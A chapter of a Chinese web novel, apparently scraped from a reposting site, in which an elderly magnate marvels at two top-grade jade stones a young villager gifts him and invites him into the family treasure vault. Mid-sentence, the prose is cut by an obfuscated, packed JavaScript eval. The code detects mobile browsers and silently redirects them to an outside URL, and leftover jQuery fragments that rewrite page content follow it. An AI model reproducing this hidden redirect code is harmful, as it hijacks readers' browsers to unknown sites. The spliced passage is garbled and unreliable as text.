沈家老宅书房，华灯初上。古朴的书桌上，灯光聚焦在两块刚被清理出来的玉石原石上。


    一块，正是下午在翠玉斋解出的那块帝王级祖母绿，此刻在灯光下，犹如将一片浓缩的星空与森林禁锢其中，美得惊心动魄。另一块，颜色是纯正深邃、通透如冰的紫色，正是那块玻璃种紫罗兰，光泽温润，紫气氤氲，同样非凡品。


    沈铮端坐在书桌后，目光落在这两块足以让任何玉石爱好者疯狂的顶级原石上，饶是他纵横商海数十年，见惯了大风大浪和无数奇珍异宝，此刻也不由得微微一怔，眼中闪过一丝惊讶。


    对于自己的孙女沈雨薇，沈铮再了解不过。这孩子性格开朗，喜欢新鲜事物，但对玉石古玩这类需要静心品鉴的物件，向来兴趣缺乏，更别说去赌石了。


    赌石一行，三分靠经验，七分靠运气，但最基本的眼力、对场口、皮壳、松花、莽带的认知，是需要多年浸淫才能略窥门道的。


    就雨薇那点三脚猫的功夫，能挑中这样的料子？恐怕得把整个翠玉斋买下来挨个解，才有点渺茫的希望吧？那得花多少钱？


    他抬眼看向站在桌旁，正一脸兴奋与得意的沈雨薇，沉声问道：“雨薇，跟爷爷说实话，这两块石头，你花了多少钱？”


    沈雨薇闻言，“噗嗤”一声笑了出来，伸手指了指安**在沈铮对面客座上的莫天扬，语气带着毫不掩饰的崇拜与炫耀。


    “爷爷，这可不是我买的，是天扬哥哥送您的礼物！那块大的祖母绿，是天扬哥哥在翠玉斋挑的；那块紫罗兰，是他从青木山带过来的原石，今天一起解开的！”


    “天扬？”沈铮的目光瞬间转向莫天扬，眼中惊讶更甚，还夹杂着一丝探究，“你还懂解石？有这方面的研究？”


    莫天迎上沈铮的目光，坦然摇头，神色平静无波：“沈老，我不懂解石。玉石方面的知识，仅限于听说过一些名词。”


    “不懂？”沈铮的眉头微微蹙起，目光再次扫过桌上那两块价值不菲的原石，语气带着不解。


    “不懂你还敢去碰这个？赌石风险极大，十赌九输，尤其是这种全赌料，更是深不见底。这两块……恐怕花费不菲吧？”他担心莫天扬为了面子或送礼，投入了超出承受能力的资金。


    沈雨薇抢着回答，声音里满是惊叹：“爷爷，您绝对想不到！那块祖母绿原石，在翠玉斋摆了不知多久，大家都觉得是砖头料，天扬哥哥只花了五千块就买下来了！解开来，就是现在这个样子！至于那块玻璃种紫罗兰……”她顿了顿，大眼睛看向莫天扬，仿佛在确认一个奇迹，“是天扬哥哥说，那是他以前在青木山里……捡到的。”


    “五……五千块？捡、捡到的？”


    饶是沈铮定力过人，此刻也忍不住微微张开了嘴，脸上露出了罕见的错愕神情。五千块，在燕京或许只是普通人一个月的基本开销，甚至不够买件像样的衣服，却换来了眼前这块价值难以估量的帝王级祖母绿？


    而另一块同样顶级的玻璃种紫罗兰，竟然是……山里捡的？这已经不是运气好能解释的了，这简直是气运逆天，或者说……匪夷所思！要知道，即便是浸淫此道数十年的老师傅，面对全赌料，也不敢断言能百分百挑出这样的极品，更别说以如此低廉的价格。


    “对啊！”沈雨薇用力点头，看向莫天扬的眼神简直像是在看一个会点石成金的神仙。


    沈铮深吸一口气，强迫自己从震惊中恢复过来，他再次看向莫天扬，目光变得无比深邃和郑重：“天扬，你可知道，就桌上这两块石头，未经雕琢，其本身的价值，就已经是一个足以让普通人几辈子衣食无忧的天文数字。若请大师精心设计雕琢，其艺术和文化价值更是难以估量。”


    莫天扬迎着他的目光，脸上依旧是一片令人看不透的平静，甚至带着一丝属于山野之人的朴实淡然，他轻轻摇了摇头。


    “沈老，对我来说，它们就是两块颜色特别些的石头罢了。我常年进出青木山，深山老林里，奇奇怪怪的石头多了去了，或许哪次运气好，弯腰就能再捡到一块也说不定。”他这话说得轻描淡写，仿佛在说捡蘑菇一样简单。


    沈铮闻言，不由得愣住了。他看着莫天扬那双清澈坦荡、不见丝毫贪欲与炫耀的眼睛，心中涌起一股复杂的感慨。


    这个年轻人，拥有着令人难以置信的“运气”或者说“能力”，却对此浑不在意，视珍宝如顽石。这种超然物外的心境，远比这两块玉石本身，更让沈铮感到震撼。


    他沉默片刻，缓缓开口，语气带着商量的意味，也有一份长者的关怀：“天扬，你这样想……也罢。不过，如此美玉，蒙尘也是可惜。要不这样，我认识几位顶尖的玉雕大师，我帮你把这两块料子好好设计雕琢一下，给你做个扳指、玉佩或者摆件？也算不辜负这份天地造化。”


    莫天扬却摆了摆手，毫不犹豫地拒绝了，理由朴实得让沈铮再次无言：“沈老，您的好意我心领了。不过，我天天在田里山里忙活，不是挥锄头就是摆弄酒曲药材，手上身上难免磕磕碰碰，戴不得这么精细娇贵的东西，给我也是浪费。在玉石斋的时候我就说了，那块大的祖母绿，是送给您的礼物；那块小点的紫罗兰，颜色鲜亮，适合年轻人，就送给雨薇戴着玩玩。”


    送？就这样轻描淡写地送了？沈铮看着莫天扬，一时间竟不知该说什么好。他想起了中午那碗让他浑身舒泰、仿佛年轻了十岁的红灵菇汤，想起了那些闻所未闻、效用神奇的紫皇菇、雪灵菇、黑松露……那些东西，每一样拿出去，都足以在顶级养生圈子里引起轰动，卖出令人咋舌的天价。可莫天扬送来时，就像送来一篮子自家种的青菜萝卜一样自然。


    这个年轻人，对于世俗意义上的钱财珍宝，看得不是一般的淡。他的价值观，似乎建立在另一种更本源、更超脱的体系之上——情谊、心意、物尽其用、与自然共鸣。


    明白了这一点，沈铮也不再过多客套推辞。过多的推拒，反而显得生分，也看轻了莫天扬这番纯粹的心意。他点点头，脸上露出真诚而温暖的笑容。


    “天扬，那老头子我就厚颜收下了。你这孩子……来一趟，用那么珍贵的菌子帮我调养身子不说，现在还送上这样的大礼。你这要是多来我这儿几次，我怕不是要成燕京最‘富有’的老头子了。”


    莫天扬也笑了，笑容干净明朗：“那沈老可要准备好好茶，我肯定得多来叨扰几次。”


    书房里的气氛轻松愉快起来。说笑一阵后，沈铮似乎想起了什么，脸上露出一丝回味与期待，但又有些不好意思地开口：“天扬，中午那菌汤……实在是让我这老头子回味无穷，感觉精神头足了不少，连一些**病似乎都松快了些。晚上……”


    莫天扬却收敛了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127785|177151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑容，认真而坚决地摇了摇头：“沈老，那可不行。红灵菇虽好，但正因为其蕴含的精华能量太足，性质又偏温补，绝不能频繁食用。普通人，尤其像您这样需要长期调理的，十天半个月用一次，徐徐图之，才能达到最佳的固本培元效果，且不会给身体带来额外负担。若是贪多，反而可能虚不受补，适得其反。这是它生长的特性决定的，急不得。”


    他解释得清楚明白，既说明了限制，也点明了原理，让人信服。


    沈铮闻言，虽有些遗憾，但也深知养生之道贵在持之以恒、循序渐进，连忙点头：“我明白了，是老头子我贪心了。就按你说的，半月一次！下次你可别忘了再来给我煲汤！”他像个讨要糖果的老小孩，带着几分顽皮。


    “一定。”莫天扬含笑应允。


    “天扬啊，你送我如此厚礼，老头子我心里实在过意不去。你是视珍宝如寻常，重情义轻钱财，这份心意我领了。我倒也积攒了一些还算有趣的老物件。走，跟我去个地方瞧瞧，若是有合你眼缘的，带走便是。就当是……老头子我的一份回礼。”


    他这话说得轻松，仿佛只是邀请朋友去参观自己的收藏室，挑选一件喜欢的纪念品。


    然而，此言一出，旁边一直没怎么说话的沈怀山，以及原本还沉浸在玉石惊喜中的沈雨薇，却是同时心头剧震，猛地瞪大了眼睛，脸上露出了难以置信的惊骇之色！


    沈雨薇更是下意识地用手捂住了嘴，才没让自己惊呼出声。她太清楚了！爷爷口中的“地方”，指的就是沈家老宅深处那间安保级别最高、连她父母进入都需要提前申请并获得爷爷亲自许可的——家族藏宝室！


    那里，存放的可不是什么普通的“老物件”或“玩具”！那是沈家数代核心人物，历经百年风雨、纵横四海商界，凭借超凡眼力和机缘，一点点收集、传承下来的真正瑰宝！


    即便是她沈雨薇，作为沈铮最疼爱的孙女，也仅仅是在很小的时候，被爷爷抱着进去开过几次眼界，长大后，更是需要特别的理由和时机才能获准进入。至于沈家其他第三代的子弟，绝大多数连那扇门的边都摸不着，更别提进去参观了！


    可现在……爷爷竟然主动邀请莫天扬，这个才第二次见面、来自山村的年轻人，进入沈家最核心的藏宝禁地？甚至还说……“随便选”，“带走便是”？！


    这已经不是简单的“看重”或“感谢”可以形容了！这简直是将莫天扬视作了比家族核心子弟更亲密、更信任的“自己人”！甚至是一种……托付与传承的暗示！


    沈雨薇的心脏砰砰直跳，她看向爷爷，又看看依旧神色平静、似乎并未意识到这其中分量的莫天扬，只觉得一股难以言喻的震撼与莫名的激动席卷全身。


    沈怀山更是面色肃然，垂手侍立，连呼吸都放轻了许多。作为跟随沈铮数十年的心腹管家，他比沈雨薇更清楚藏宝室的意义，也更明白老爷子这个邀请背后所代表的、近乎破格的认可与器重。


    莫天扬本人，对于沈家藏宝室的特殊性与象征意义，确实并不知情。他只当是沈铮客气，想用一些收藏品来回礼。他依旧保持着那份山野之人的淡然与客气，摇头道：“沈老，您太客气了。我真的不需要那些。我是个山野村夫，平日与土地山林打交道，那些精细珍贵的物件，在我手里也是明珠暗投，派不上用场。”